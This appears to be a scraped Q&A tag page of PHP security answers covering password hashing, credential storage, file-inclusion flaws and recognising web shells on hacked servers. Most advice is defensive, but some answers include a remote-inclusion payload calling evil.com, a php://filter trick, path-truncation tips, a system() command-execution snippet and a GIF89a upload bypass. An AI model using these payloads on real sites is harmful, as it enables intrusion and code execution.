Tag Info

New answers tagged

13

As @cpast says, the main problem of a single SHA-256 is that it is way too fast. An attacker with an off-the-shelf gaming GPU can try passwords at a rate that is counted in billions per second (American billions, but that's still a lot). Another problem is that there is potential for combining things improperly. SHA-256 is a hash function: it takes one ...


6

sha256 is not designed to hash passwords. To hash passwords, you should prefer to use hash functions created for this usage. You will find all required information below in another question addressing a similar request: Most secure password hash algorithm(s)?. In the above mentioned question, you will learn why general purpose hash functions like sha256 do ...


17

General-purpose hashes have been obsolete for passwords for over a decade. The issue is that they're fast, and passwords have low entropy, meaning brute-force is very easy with any general-purpose hash. You need to use a function which is deliberately slow, like PBKDF2, bcrypt, or scrypt. Crackstation actually explains this if you read the whole page. On the ...


0

You can put them in environment variables. In addition to the little security benefit, they provide multiple advantages for your development workflow, like not having to touch PHP files and insert different credentials each time you want to work on a different development environment. Instead, the environment provides this information, and you only have a ...


0

What I would do, besides the measures mentioned in the other answers, is to read the username/password from a file to be retrieved from the web server and to have this file explicitly blacklisted for all but the server itself.


3

Defence in depth is the keyword: Instead of just securing the credentials, ensure that even knowing the credentials is (almost) useless for an attacker. That means, use a dedicated user with the least required privileges (principle of least privilege) and restrict access with that user from the web server only. Then it doesn’t really matter where you keep ...


2

I good way to protect your keys is to put the php file with the credentials outside of the webroot. Even when the 'raw' php files are then served to a client, none of them include the database credentials. (does not protect against someone with file access on the server). Another defensive measure you can take is limiting the connections the Database ...


0

When requested this script sends data about requester to another server (errorcontent.com) wich decides what to do with request. If response from errocontent.com has src at the begining it is sent back to original requester (it might be zombie in botnet). It could be encoded executable script for zombie to execute. So basically this script is middle tier ...


0

just for your information, its a exploit tracker code. it reports to a C&C server that the exploit worked. its probably part of a multistage infection where 1 criminal gains access, sells that access for money and others use it for criminal intend. My assessment is based on the code presented and other examples of hacked servers I have come across ...


-1

Disclaimer: this answer is provided with no warranty :) It looks to me like it's getting a file from errorcontent.com. I don't see it doing anything with the file unless the first 3 letters of the file are scr in which case it echos it's contents.


2

There is no danger in this specific part of the form. It seems that the developers have accidentally escaped the opening and closing PHP brackets, causing PHP code to be displayed as is. Now, this specific form instance doesn't allow us to do anything since it's just text being displayed... But it teaches us something very important about this site: user ...


0

It is depended to network structure and topology of your system, in some cases like distributed system you can use secret sharing scheme, such as shamir,rabin IDA or Krawcyk. Also you can use PKI for that. Usually in practice only hash of passwords are stored. But for key, shamir secret sharing scheme is powerful for storing key in secure way. That only an ...


0

While I would still like to know why the $_GET['cmd'] part of the code seems to pose a problem, I did find a workaround. Instead of calling on a GET variable, it turns out I could just execute the commands I want directly: <?php system('uname -a'); ?> And the contents are displayed to the Web page in question.


1

Blacklisting is rarely a good idea. A whitelist would be a better approach. Say you are using includes for language selection. Check whether file equals english, french, or german for example. Call die() if not. Then it does not matter if a user supplies http://example.com/evil.php, php://filter/convert.base64-encode/resource=filename.php or sql.php as your ...


4

First of all, you are not merely disclosing file content. You are executing it. If php is configured to allow URL inclusion the attacker can simply do file=http://evil.com/attackercode.txt and your script will execute the attackers code. Alternatively the attacker can perform a local file include by sending php code in request headers and do ...


0

Create a blank file in a text editor. Call it .htaccess and paste the following code in there: < Files *.php> deny from all < /Files> (delete the spaces between < and Files, I had to add the spaces for the site to show the code) Now upload this file in your /wp-content/uploads/ folder. Code Explanation: This code checks for any PHP file and ...


2

For RFI you don't need null byte, simply match the file extension on the remote file, inject a ? Which turns the extension into query string, use URL rewriting, etc, etc. For LFI however you may be able to pre-pend a number of ././ or /./. to cause the total path to be too long and php will truncate it. This is trickier as it is is dependent and you will ...


0

My company recently experienced a compromised Magento instance, below i will outline the course of action we took to handle the breach and mitigate the risk of any personal data/payment information being stolen/put at further risk. 1- Disable the shop & MYSQL accounts and investigate what data was likely to have been stolen/edited 2 - Investigate the ...


1

if your shop is as compromised as you say here the only way to protect yourself is to start from scratch. A new Host (or reinstalled host), Install proper Defenses (like firewalls). Use a proper Webshop that have withstood Security tests (Drupal commerce for example, but I am biased towards drupal). I would also suggest you get a local Webshop Expert and ...


-1

Simply storing password using sha1/md5 or any hashing function is not a good practice. Many sites are providing dictionary to crack these password. Solution is to use a powerful salt to add in password, then convert it to sha1 hash. You are using very basic or a kind of simple padding. You can use rand, time stamp, double hashing as salt. Performance wise ...


6

There are two things wrong with what you are doing with what you are doing: your algorithm in it's simple form is fast and thus not suited for password hashing. (the properties you want in a password hashing algorithm is it being fast enough to run once, but slow if you need to run it several times as well as being unfriendly when being run on FPGA/ASICs ...


15

No a salt should not be derrived from other known parameters, a salt should be globally unique. So the best you can do is to generate a really random salt for each password. Todays operating systems have a "random source", on a deterministic computer it is the best you can do to read form this random source (DEV_URANDOM). Beside this, the SHA-* hash family ...


4

A drawback of SHA1 is that it is fast, so it is easier to create rainbow tables and brute-force it. Adding a salt helps, but if the password is weak, then "number + weak password" may well be in the rainbow tables along with the password. PHP provides built-in password mechanisms. When you use these, the crypt function automatically generates a salt for you ...


0

Another aspect: would Zend base their enterprise targeted PHP stack that is more vulnerable than competition? It is not the language that to be blamed for insecurity. It is the design. Bad design can be implemented in every language. Security is not a state, it's a process. And the massive contributor base of PHP does a pretty good job.


0

The question is more geared towards is it a good idea to generate passwords for the users and email it to them? Reasons not to do this include: It could be vulnerable to shoulder surfing. A user walking past while another user opens their email not expecting a password to be displayed could have their credentials stolen. This is particularly a risk ...


1

The main issues are the default configuration and the low barrier of entry. The easiest way to deploy a PHP app is to install the inefficent horror called "Apache" with mod_php, throw the poorly-developed app into /var/www and watch the world burn. That will work, but is a security disaster. For example, a Node.js app runs as its own process, in its own ...


2

Modified PHP shell. Compromise is bad; shell's worse. Best have backups, nuke, change passwords, reload. Quick legwork: The string "FFSW3525KKSfj" trivially obtains this result, which is clearly inspired by the same codebase (containing all split base64 reference). Easy pivot from there is "ERROR! CANT DO NOTHING!". That discovers it's related to this ...


-1

It's a simple script that will take an argument passed to it from another script or possibly even the URL, and then run it as arbitrary php code. So it is only as malicious as the random stranger who installed it for you is, or whoever finds it. Who knows! Maybe you will find the convenience of having your webserver running arbitrary code helpful.


1

This code is parsing base64 encoded post data and running it as a script. My advice to you would be to pull the site that is affected down immediately as any data that is stored in the file system or any connected databases is now at risk. remove database users and prepare to clean up! There are many run throughs of what you should do in the event that ...


7

First things first If you suspect your server has been compromised, you should be implementing an Incident Response plan. There are lots of resources out there for putting a plan together, including a recently released "Criminal Division Guidance on Best Practices for Victim Response and Reporting Cyber Incidents" from the US Justice Department. Before you ...


0

Definitely a rogue file, most likely a shell. Key indicators: $name = ''; // md5 Login $pass = ''; // md5 Password $lol = $_GET['lol']; $osc = $_GET['osc']; base64 filename $name and $pass are used to protect access to shell $lol and $osc are variables that pass GET data (most likely) through something like passthru() base64 is used to ...


6

Yes, this is rogue. This script will execute any PHP code passed as plm12345plm POST parameter. This means, an attacker can execute arbitrary PHP and -- depending on the server configuration -- further code on your server. The first GIF89a line is likely placed to bypass basic file verification during upload of the script as a GIF image. If the file could ...


4

Yes, this is a PHP web shell. Eval should be the red flag. Basically, if the user can access this file on your server, they may be able to execute OS commands. If you have properly implemented your site, the attacker should not be able to trick PHP into executing the code in what I am assuming is a .GIF file. However, if I were you I would batten down ...


17

The "better way" is server-side validation, because you simply cannot control what the client will send. It does not matter what client-side method you use - <input maxlength=, javascript, what-have-you. To quote OWASP: Note that client side validation is a fine idea for performance and usability, but it has no security benefit whatsoever. Server ...


4

Nope. That's pretty much the best you can do on the client. The key is to have strong input validation on the server. Always treat all input as suspicious. Input validation on the client is to improve the user experience. The security happens on the server. PS: You could add JavaScript validation but it adds no real security because an attacker can bypass ...


0

It will be secure in that other people would not be able to access it. However, if they do then you should not run this locally as your own machine could be compromised by a malicious user. However, be aware that the following could still be possible, depending on the CMS: There could be an XSS flaw. If the CMS is displayiing content from your online ...


1

Passwords do not ever belong in source code, triply so for source code that is ever committed to a VCS. Anyone who has or has ever had access to the file has the password, including contractors, former employees, any VCS hosting service you use, etc. The simple answer is, retrieve the value from a configuration file (that is not stored in your repository) ...


0

Assuming you're running a server locally and putting a local Drupal/WordPress etc. CMS on that local server than sure, you could configure it not to be accessible to the outside world. But, seeing as it sounds like you want to actually have an 'online' website that won't really work. If you want to securely work with a CMS gowenfawr is right just lookup ...


1

If your CMS is listening to 127.0.0.1 ("localhost") and not to any other IP addresses on your system, then yes, no one online will be able to access it. You will be the only one able to access it, while logged into the computer it's running on. It is unusual that this would be what you want, but hey, maybe you just want to use your CMS as a personal ...


3

Spoofing an IP will not lead to being able to download the files, as the response for this request will be send back to the spoofed ip, which would have to be the servers ip in this case. However, if an attacker can upload his own php page through slqi or something else, they can send requests that originate from the server itself (so 127.0.0.1) and would ...


1

No, malicious code in your PHP file is not a virus or a trojan. Most end user anti-malware tools do not scan for these types of things. The malicious actions in your web app may be legitimate commands that make sense in a different context. You may want to look into static code analysis tools which analyze code for software design errors.


0

If using php-fpm you can set environment variables for each pool in the pool configuration file. This is great for a few reasons. The php-fpm pool configuration files should be rw-r----- and owned by root:root. Therefore the php-fpm user should not be able to read them (note the parent php-fpm daemon can because it is spawned as root and then forks ...



Top 50 recent answers are included